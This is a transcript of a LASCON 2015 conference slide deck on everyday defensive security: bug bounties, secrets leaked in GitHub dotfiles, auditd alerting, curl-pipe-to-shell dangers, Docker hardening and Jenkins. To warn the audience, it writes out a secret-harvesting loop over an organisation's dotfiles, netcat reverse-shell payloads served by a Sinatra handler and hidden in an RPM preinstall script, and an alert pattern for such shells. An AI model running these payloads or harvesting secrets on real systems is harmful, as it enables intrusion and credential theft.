Security for non-Unicorns!

LASCON 2015

Security for the rest of us.

Transcript

1. SECURITY FOR NON-UNICORNS 1 https://www.etsy.com/listing/205741051/unicorn-dog-hat-rainbow-unicorn-dog 1 — @benjammingh for LasCon 2015
2. PETE ALREADY GAVE MY TALK AS A KEYNOTE ): 2 — @benjammingh for LasCon 2015
3. WHO'S THIS CLOWN? 2 ▸ Infrastructure security at Etsy. ▸ Recovered operations monkey at Puppet Labs. ▸ Own a lot of black t-shirts. ▸ Had 1300 accounts on his high school Linux system. (: 2 https://twitter.com/skullmandible/status/411281851131523072 3 — @benjammingh for LasCon 2015
4. SETLIST ▸ Intros. (you are here). ▸ Frame the problem, why am I here. ▸ Things from the real world(™) & how to cope. ▸ Far far too many summaries. ▸ Wings, moonshine and dancing? (I have no idea) 4 — @benjammingh for LasCon 2015
5. SECURITY! 5 — @benjammingh for LasCon 2015
6. UNICORNS? 6 — @benjammingh for LasCon 2015
7. THE PROBLEM SECURITY IS HARD. 7 — @benjammingh for LasCon 2015
8. FROM TINY SEEDS, DO MIGHTY ACORNS GROW. ▸ PinkiePwn's 6 tiny bugs in Chrome to full sandbox escape. ▸ Egor Homakov's 5 small bugs in Github to full private access on GitHub. ▸ XSS to remote code execution in under an hour. ▸ Username & password from HVAC system leads to 8 — @benjammingh for LasCon 2015
9. THINGS THAT ARE NOT SECURITY ARE HARD TOO. 9 — @benjammingh for LasCon 2015
10. COMPUTERISING IS HARD. No. 1 takeaway for security types is a sense of perspective. (maybe even humility! gasp) 10 — @benjammingh for LasCon 2015
11. SECURITY PEOPLE AREN'T GREAT SECURE CODERS. ▸ Snort: 10 CVEs, Wireshark: 322! CVEs ▸ Security Firm Bit9 Hacked, Used to Spread Malware ▸ Joxean Koret on Breaking Antivurius software ▸ Tavis from Project Zero on exploiting ESET ▸ BEST! FireEye just running Apache/PHP as root ! 11 — @benjammingh for LasCon 2015
12. SO WHO DO I TRUST? ▸ No one? Always a great position for security people, who don't want to get paid. ▸ Everyone? Do I have some emails with funny cats for you to click on. ▸ Security vendors? If you have infinite money and no attackers. ▸ Attackers! 12 — @benjammingh for LasCon 2015
13. "YOU'RE ALREADY BEING PROBED FOR SECURITY HOLES, DO YOU WANT TO KNOW OR NOT?" 13 — @benjammingh for LasCon 2015
14. BUG BOUNTIES 101: HAVE ONE! BUG CROWD VS. HACKERONE 14 — @benjammingh for LasCon 2015
15. BUG BOUNTIES 102: PREPARE A LOT. 15 — @benjammingh for LasCon 2015
16. BUG BOUNTIES 103: THE FIRST FEW WEEKS WILL BE HELL. 16 — @benjammingh for LasCon 2015
17. BUG BOUNTIES 104: BE READY WITH BEES! 17 — @benjammingh for LasCon 2015
18. SECURITY ON THE INSIDE 18 — @benjammingh for LasCon 2015
19. ARMADILLO SECURITY ARCHITECTUR 19 — @benjammingh for LasCon 2015
20. 20 — @benjammingh for LasCon 2015
21. CLOUD 21 — @benjammingh for LasCon 2015
22. GITHUB 22 — @benjammingh for LasCon 2015
23. 23 — @benjammingh for LasCon 2015
24. BUT THIS DOESN'T HAPPEN IN REAL LIFE, RIGHT? 24 — @benjammingh for LasCon 2015
25. 25 — @benjammingh for LasCon 2015
26. terrible bash example (don't do this) # for i in $(curl --silent 'https://api.github.com/orgs/<target>/members' \ # | grep html_url | cut -f 4 -d '"' | cut -d / -f 4); \ # do ( curl --silent https://api.github.com/repos/$i/dotfiles | grep -q 'Not Found' || \ # git clone https://github.com/$i/dotfiles.git $i ) \ # ; done for i in * ; do [ -d "$i/.git" ] || continue cd $i for revision in $(git rev-list --all) ; do unset PAGER export GIT_PAGER="" # find . -iname \*.key -or -iname \*.pem out="$(git grep -i -E "$1" ${revision} )" if [ $? -eq 0 ] ; then echo "${out}" | LANG="C" sed "s/^/$i: /" fi done cd .. done 26 — @benjammingh for LasCon 2015
27. GO USE GITROB ▸ http://michenriksen.com/blog/gitrob-putting-the- open-source-in-osint/ ▸ https://github.com/michenriksen/gitrob 27 — @benjammingh for LasCon 2015
28. AUDITD 28 — @benjammingh for LasCon 2015
29. AUDITD Auditd is the best way to get command execution logged in your infrastructure. 29 — @benjammingh for LasCon 2015
30. AUDITD Auditd is the worst way to get this information to a log file. type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000.... typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl" type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax" type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 30 — @benjammingh for LasCon 2015
31. MARK ELLZEY ON AUDITD. 31 — @benjammingh for LasCon 2015
32. WHY? "Why are the logs multiline?" -- David Shing, aka "Shingy", aka "The Shing", aka "AOL's 32 — @benjammingh for LasCon 2015
33. MULTILINE LOGS ARE THE SPAWN OF THE DEVIL ORACLE'S JAVA 33 — @benjammingh for LasCon 2015
34. COPING WITH MULTILINE AUDITD ▸ ELK: multiline filter in Logstash. ▸ Other: github/gdestuynder/Audisp-json ▸ Have cash, want a decent GUI (and more): Go use Threatstack! ▸ Write something yourself in python & golang: I keep promising to OSS this ): 34 — @benjammingh for LasCon 2015
35. ALERT ON SKETCHY THINGS. (ASSUMES ELK) 1. Elastalert from Yelp 2. Alert on "/bin/nc *-e /bin/sh*" 3. You will now find when someone tries to run a reverse shell! 4. Or when yours ops people do fun things. 35 — @benjammingh for LasCon 2015
36. CURL | BASH 36 — @benjammingh for LasCon 2015
37. CURL LEGIT.PW | SH 37 — @benjammingh for LasCon 2015
38. "BUT I CHECK THEM, OBVIOUSLY!" 38 — @benjammingh for LasCon 2015
39. SINATRA EXAMPLE get '/install.sh' do if request.env['HTTP_USER_AGENT'] =~ /curl/ return 'nc -e /bin/sh root.legit.pw 2222 &' else return print_install_code() end end 39 — @benjammingh for LasCon 2015
40. SINATRA EXAMPLE 2: PAYBACK get '/install.sh' do ip = request.env['HTTP_CLIENT_IP'] if seen_before.include? ip return print_install_code() else seen_before << ip return 'nc -e /bin/sh root.legit.pw 2222 &' end end 40 — @benjammingh for LasCon 2015
41. 41 — @benjammingh for LasCon 2015
42. 42 — @benjammingh for LasCon 2015
43. CURL | BASH "BUT THIS IS NO WORSE THAN PACKAGES." foo$ sudo yum install sketchy foo$ sudo aptitude install sketchy 43 — @benjammingh for LasCon 2015
44. CURL | BASH "but worse than downloading RPMs from a random site?" foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm foo$ dpkg-sig --verify sketchy.1.33-7.deb 44 — @benjammingh for LasCon 2015
45. CURL | BASH root# rpm -qp --scripts sketchy-1.33-7.rpm preinstall scriptlet (using /bin/sh): bash -c 'while : ; \ do \ nc -e /bin/sh root.legit.pw 2222 ;\ done' 45 — @benjammingh for LasCon 2015
46. VERIFIABLE This doesn't exist: foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify No one has ever done this: foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh 46 — @benjammingh for LasCon 2015
47. CURL | BASH "But I trust HTTPS" ▸ HTTPS certs cost ~$6. ▸ If I can't make $6 by owning a system, I should probably stop being an attacker. ▸ @letsencrypt will soon make this free. 47 — @benjammingh for LasCon 2015
48. CURL | BASH curl -k 48 — @benjammingh for LasCon 2015
49. CURL --YOLO | \ SUDO SH --YOLO 49 — @benjammingh for LasCon 2015
50. CURL | BASH What to do? 50 — @benjammingh for LasCon 2015
51. A LIVE DEMO, 51 — @benjammingh for LasCon 2015
52. LIGHTWEIGHT CONTAINERS! 52 — @benjammingh for LasCon 2015
53. CHROOT(8) 53 — @benjammingh for LasCon 2015
54. FREEBSD JAILS 54 — @benjammingh for LasCon 2015
55. SOLARIS ZONES 55 — @benjammingh for LasCon 2015
56. AIX WPAR 56 — @benjammingh for LasCon 2015
57. 57 — @benjammingh for LasCon 2015
58. IS DOCKER SECURE? 58 — @benjammingh for LasCon 2015
59. >30% OF IMAGES IN DOCKER HUB CONTAIN HIGH PRIORITY SECURITY VULNS - JAYANTH GUMMARAJU, TARUN DESIKAN AND YOSHIO TURNER FROM BANYANOPS 59 — @benjammingh for LasCon 2015
60. >30% OF MSDN CDS CONTAIN HIGH PRIORITY SECURITY VULNS 60 — @benjammingh for LasCon 2015
61. 61 — @benjammingh for LasCon 2015
62. AS SECURE AS VAGRANT? 62 — @benjammingh for LasCon 2015
63. BUT IS DOCKER ITSELF SECURE? ▸ Don't run things as root. ▸ No really, stop running things as root. ▸ Did I mention not running things as root. ▸ It is also not 1999. (Docker 1.8 addresses some of this, with it's changes to who it runs as) 63 — @benjammingh for LasCon 2015
64. SECURIFY THE DOCKER. ▸ Don't use --privileged. ▸ Use --cap-drop all and --cap-drop <thing> to get the minimum capabilities. ▸ Use Docker Notary ▸ Use GRSecurity (just do that anyway, if you can.) ▸ Use SELinux... I may as well ask for a pony here. 64 — @benjammingh for LasCon 2015
65. BUT IS DOCKER SECURE? MORE SECURE THAN WHAT? 65 — @benjammingh for LasCon 2015
66. MORE SECURE THAN WHAT? FROM WHOM? 66 — @benjammingh for LasCon 2015
67. 67 — @benjammingh for LasCon 2015
68. THREAT MODELLING FOR BEGINNERS 1. what are you actually defending against? 2. from whom? 3. for how much? 68 — @benjammingh for LasCon 2015
69. LATERAL MOVEMENT > UID=0 69 — @benjammingh for LasCon 2015
70. <PINCH OF SALT GOES HERE> ▸ I am not saying Docker is ZOMG unhackable. ▸ it's just cgroups and namespacing. (just) ▸ Escapes will happen. ▸ They have a rad security team (Hi @diogomonica and @nathanmccauley) 70 — @benjammingh for LasCon 2015
71. UNPINCHOFSALTD ▸ You can use it in a way that is secure, enough. ▸ network separation & segregation still works. ▸ secrets/credentials still a bigger problem. ▸ PLEASE don't just adopt it because it's new & shiny. ▸ ! " unikernels ✨ $ 71 — @benjammingh for LasCon 2015
72. JENKINS! 72 — @benjammingh for LasCon 2015
73. IT'S ENTIRE JOB IS TO TAKE ARBITRARY CODE AND RUN IT, WITH ACCESS TO SOME SECRET/CREDENTIAL DATA. 73 — @benjammingh for LasCon 2015
74. IT'S LITERALLY REMOTE CODE EXECUTION AS A SERVICE. 74 — @benjammingh for LasCon 2015
75. OLD CRUFTY CONFIGS + ALL YOUR CODE & SECRETS 75 — @benjammingh for LasCon 2015
76. 76 — @benjammingh for LasCon 2015
77. RCE as a service 6 6 Hacking Jenkins Servers With No Password 77 — @benjammingh for LasCon 2015
78. MAKE JENKINS SUCK FEWER * DISABLE EXECUTION ON THE MASTER JENKINS HOST. * DISABLE ANONYMOUS ACCESS. * (USE TRAVIS, IF YOU CAN) 78 — @benjammingh for LasCon 2015
79. BUT WHAT IF JENKINS COULD BE HARNESSED FOR GOOD? 79 — @benjammingh for LasCon 2015
80. NOT STOLEN FROM NickG's old 2012 deck. 7 7 Thanks Nick. nickgsuperstar/devopssec-apply-devops-principles-to-security 80 — @benjammingh for LasCon 2015
81. JENKINS AS A FORCE FOR [SECURITY] GOOD ▸ Gauntlt "be mean to your code" ▸ https://github.com/secure-pipeline ▸ Even Adobe blog on secure software, zomg! 81 — @benjammingh for LasCon 2015
82. 82 — @benjammingh for LasCon 2015
83. 83 — @benjammingh for LasCon 2015
84. SUMMARY ▸ Computers are apparently hard. ▸ Security is clearly harder still, obv. ▸ Actually trust and humans is hard. ▸ The typing is the easy bit. (ish) 84 — @benjammingh for LasCon 2015
85. MORE SUMMARY ▸ Complex systems lead to much more complex security problems. (see Oauth) ▸ Annual pen-tests don't scale, bug bounties can help. ▸ Attackers are mining any public info you have (GitHub, S3, pastebin?) ▸ No really, go check all your S3 buckets... 85 — @benjammingh for LasCon 2015
86. WILL THERE BE A SUMMARY OF SUMMARIES? ▸ I beg you to stop trusting curl. ▸ Auditd is awful, but it can be fewer awful. ▸ Jenkins, you probably have to have one. ▸ but that can be okay, nay, even useful for security. 86 — @benjammingh for LasCon 2015
87. A SUMMARY APPEARED, WHAT HAPPENED NEXT WILL SHOCK YOU ▸ Docker and security can be used in the same sentence. ▸ Understand your threat model (Apple's guide) ▸ Don't be a FireEye, stop running things as root. 87 — @benjammingh for LasCon 2015
88. THANK YOU ▸ Twidder: @benjammingh ▸ LinkedIn: lnkdin.me/p/benyeah ▸ FidoNet: 2:254/524.13 ▸ JitHub: github.com/barn ▸ SpeakerDeck: speakerdeck.com/barnbarn ▸ Etsy: Careers <--- CodeAsCraft <--- our blog 88 — @benjammingh for LasCon 2015